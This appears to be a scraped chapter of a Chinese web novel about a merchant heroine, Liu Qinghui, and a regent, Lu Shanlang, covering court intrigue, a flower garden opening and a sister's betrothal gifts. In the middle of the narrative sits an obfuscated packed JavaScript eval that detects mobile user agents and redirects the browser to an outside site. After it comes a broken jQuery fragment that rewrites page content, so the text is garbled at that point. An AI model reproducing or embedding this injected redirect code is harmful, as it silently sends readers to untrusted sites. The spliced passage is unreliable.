19. 第 19 章
作品:《她不会被攻略成功》 多亏了这位素不相识的女子,他今日才没有被那阉人陷害进昭狱。
方时抹了把额头上的汗,谨慎地低声问:“姑娘是哪位派来的?”他知道后,心里才好有个数。
见她不答,起身要走,他在身后喊道:“姑娘以后就是我八宝斋的贵客了。”
柳清卉只觉得失策,不应该让这样的一个胆小怕事、畏头畏尾的人来任八宝斋的掌柜。
他连短暂的周旋都做不到。
在权贵的淫威下,只会一味地奉承,又能给八宝斋带来什么稳步垂直的收益呢。
不过倒是能极大地掩人耳目,让人深以为信—方时是八宝斋真正的掌柜。
柳清卉嘴角勾起了一丝自得的笑容,转瞬即逝。
…………
皇宫。
“禀摄政王,清河县县丞吕鸿润呈奏疏。”陆一在殿下双手呈上,说。
陆山朗来到这个世界,用了月余的时间完全掌控摄政王的身份。
为了追求柳清卉,他自然是不能像前摄政王一样。
责任心过重但又不信任他人,政务从不假手于人,大到抗击突厥的军务,小到朝臣家中的微末动向,都要一一掌握,以致二十四时辰都用来操心政务,最终猝死。
他应该适当地相信属下的忠诚,放宽他的工作。
“清河县?”
他将吕鸿润派到清河县这件事,他承认他的确有自己的私心,并不想让两人交往过密。
他找补道,作为清卉的兄长,是有一定的责任去抵挡住围在她身边的莺莺燕燕,而清河县状况特殊,的确是需要吕鸿润这样正直清廉的官员去治理。
这话在心里滚了有滚,他才定下心展开吕县丞的奏疏,边一目十行边听陆一汇报。
“据清河县的探子所报,吕大人上任后先是疏通河道,将满溢的水引到临县。后是前任县丞被押解到衙门,供认出一批受贿官员。”
陆山朗闻言将第二张纸覆上,扫过一串官员姓名。
淮州知州赫然在列。
“礼部尚书给他求情了吗?”
陆一从堆叠的奏疏中小心取出一封,“这就是。”
礼部尚书的长女嫁给了淮州知州。
密报刚递到京城,礼部尚书就给他求情,看来他也知道他的好女婿私下里都做了些什么。
他按住不动,先向下看吕县丞的奏疏。
越看,脸色越不好。
陆一小心地瞟一眼,只敢低下头暗中猜测。
这吕大人是写了什么,竟能让向来喜怒不形于色的王爷脸色隐隐发青。王爷可是看到一串罪官姓名,眉头都不动一下。
他屏住呼吸,等待着王爷发话。
陆山朗压住恼意。
吕鸿润竟然敢冒着惹怒他的风险,斗胆回京。那他可不能放任着这么危险的人回来。
既然他只是字中隐约透露,那他就装作没看见,只在奏表上批红。
不通过,等任满一年再来说回京的事。
陆山朗的两行剑眉微皱,心下无奈之意升起。
清卉真是……聪明又漂亮,性格又好……只要遇见,没人不喜……
他身上却没有什么能够吸引她目光停留的地方,也没什么值得她喜爱的。
除了一点权势。
可是就算他得不到她的喜爱,也不能眼睁睁地看着她挽起别人的手臂,姿态亲昵。
他会变成一个妒夫的。
殿外小太监小步跑进来,“礼部尚书求见。”
陆山朗以手扶额,心情凋敝,低声说:“进。”
礼部尚书姜行此行一是为了他的女婿王术贪污受贿一事,二是为了他的小女儿姜玉叶。
她听闻他要进宫,便让他去参兵部尚书的三女儿柳清卉。
他与柳大人同朝为官,虽然关系并不紧密,但是这参奏一事可大可小,也需从长计议。
但她不依,非让他今日就说。
他们家就两个女儿,大女儿嫁人后,全家最宠爱的就是小女儿。她一通撒娇耍赖后,自己还是同意了。
“微臣姜行拜见摄政王。”
“所为何事?”陆山朗说:“如若是为你的好女婿求情,大可不必说了,请回吧。”
陆山朗揉揉眉心。
左右不过是降职、罚俸,处罚再轻那他该如何向百官交代。多少蠢蠢欲动的官员见处罚从轻,岂不都大肆贪污。
礼部尚书的夫人是给先帝陪葬的惠妃姊妹,他看在先帝的面子上,也不能动辄大罚。
姜行话还未出口,便被他堵回去。
他的珠子大的眼睛左右乱飘,犹豫着说:“微臣还有一事上奏。”
“说。”
陆山朗的声音像重石落在地面,掷地有声,引得姜行心里发虚。
他在心里默念,姑娘啊,你可别坑老爹我啊。
“微臣要参兵部尚书。”
“哦?”陆山朗听见熟悉的人,正色道。
“微臣参柳尚书的女儿暗中经商!”
“哪个女儿,据本王所知,柳尚书有三个女儿。”
“排行第三,柳清卉。”
陆山朗眼中墨色翻涌,要笑不笑,试探道:“证据呢?”
“这……”玉叶只是同他说了一嘴,也没给他证据啊。
“没有证据来御前参什么?”陆山朗倏然站起,“要都是同姜尚书这样,宫门也不必出了,所有官员都成市井小民,在皇宫中竞嚼舌根。”
姜行见摄政王发怒,有理也说不出,“啪”一声跪地,“微臣自觉失言,扰了王爷的耳,请王爷责罚。”
“下去,打二十大板,以儆效尤。”
姜行被侍卫拖下去,眼里积蓄泪水。
平日里摄政王都温和待人,太久无人在他面前犯错,以致他竟真的觉得摄政王是个好说话的主。
今日没有证据,就敢参奏,他心里后悔得很,再也不敢自大了。
他以后都收起尾巴做人。
门外板子声和惨叫声响起。
陆山朗招来陆二,低声吩咐:“跟着姜行,看他是怎样发现的。”
…………
花坞。
“都备好了吗?”何单盯着宫女的动作,问道。
“回公公,都备好了。”大宫女答道。
历时两月,由摄政王出资、宫人打理的院宅已经初具规模。
柳清卉找城南的匠人题了匾额“花坞”。
宅门有人把守,大开着能让行人一睹内里。
层层叠叠的花海被装在了广阔的内院中,扑鼻的花香停留在路人的鼻尖,盛开的花枝草木像对着人招手。
引人驻足观赏。
“小姐。都备好了。”何单服侍着她用茶和点心。
“沁梅,”柳清卉说:“赏。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16462428|181888||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沁梅从荷包中拿出两片金叶子,交给何单。
何单推脱着,“这不能收啊,咱家是奉了命令办事,不能收的。”
“拿着吧,”柳清卉亲和地说:“要不是何公公在我不在的时候都盯着他们办事,那这花坞也不能这么快打理好。”
何单听罢,只好收下,“那奴婢就多谢小姐赏赐。”
这收下的不是金叶子,是对柳清卉的友善与投诚。
柳清卉多日都未过来,担忧得是陆照昀像蚊虫一样,被她吸引过来,围着她不胜其烦。
今日花坞内一切都修葺好,她也让宫女们将她与陆山朗那日在城外寻到的奇花移进来。几朵放在了正门口,余下的都栽种到内院。
“还得请何公公帮我办件事。”她说。
现今这里做事的都是宫人,马上开张她也不便将他们留在这里帮她做事,需另外雇人。
“小姐尽管说,奴婢定尽心尽力去办。”何单将金叶子收好,说。
“过几日花坞便要开张,得寻几个小厮,”柳清卉说:“何公公可有门路?”
“小姐放心,奴婢定寻几个手脚灵活的人来。”
柳清卉闻言心情好,“沁梅,赏。”
反正这些金叶子都是陆山朗送的,相当于花得不是她的钱。
再说金叶子在宫中流通,大多是用来赏下人的,宫外流通的都是白银。那就是陆山朗有意送给她赏人的。
因此她也不吝啬。
…………
“哎呦,看这侯府竟备了这么丰厚的聘礼。”柳夫人一见柳清卉进门,就语气惊讶地说。
语调比平日要高了三个度。
像是等了她半天,就为了在她回来的时候炫耀上一句。
柳清卉扫了一眼,就目不斜视地要回自己的院子,却被柳含霏拦住。
“三妹怎么这么着急回去,不如一起来瞧瞧聘礼有些什么。”柳含霏的得意之色掩藏不住。
柳含霏挽着她的胳膊,带她坐下。
看不看都无所谓。
柳清卉随意地坐下,既然她们让她看,那她就看看。
柳夫人见她坐下,喜形于色,对管家眼神示意。
管家念着礼单:“二百两金锭,二千两白银,二十匹蜀锦,六十匹杭绸,两件狐裘。一套白玉嵌碧玺头面,一对点翠如意……”
箱子一箱箱打开。
柳含霏瞧着柳清卉的脸色,一片如常。
这都让她羡慕不起来?!
这可是侯府送的聘礼,可比当初给大姐的聘礼丰厚不少。
虽然她能与侯府定亲,是因为小侯爷与大姐夫太仆寺少卿交好,侯府有意亲上加亲。
她一个生母都没有的人,成婚时可指望不了她的生母给她准备什么嫁妆。
到那时就寒酸地出嫁吧。
这些话柳含霏只敢在心里想想,没敢说出口,不知道为何,她如今有点害怕惹上柳清卉。
反正成婚一事也由不得柳清卉自己做主,母亲定不会给她找个好人家。
她在心里自我安慰完,两眼放光地看着聘礼,这些聘礼代表了侯府对她的重视!
稍微缓和了她并不想出嫁的心情。
柳清卉淡定地看着聘礼,觉得这些都没有她二姐脸上变幻不定的神色有趣。
毕竟,不出数月,这些聘礼凭她的资产完全可以尽数买下,根本就不用他人送予。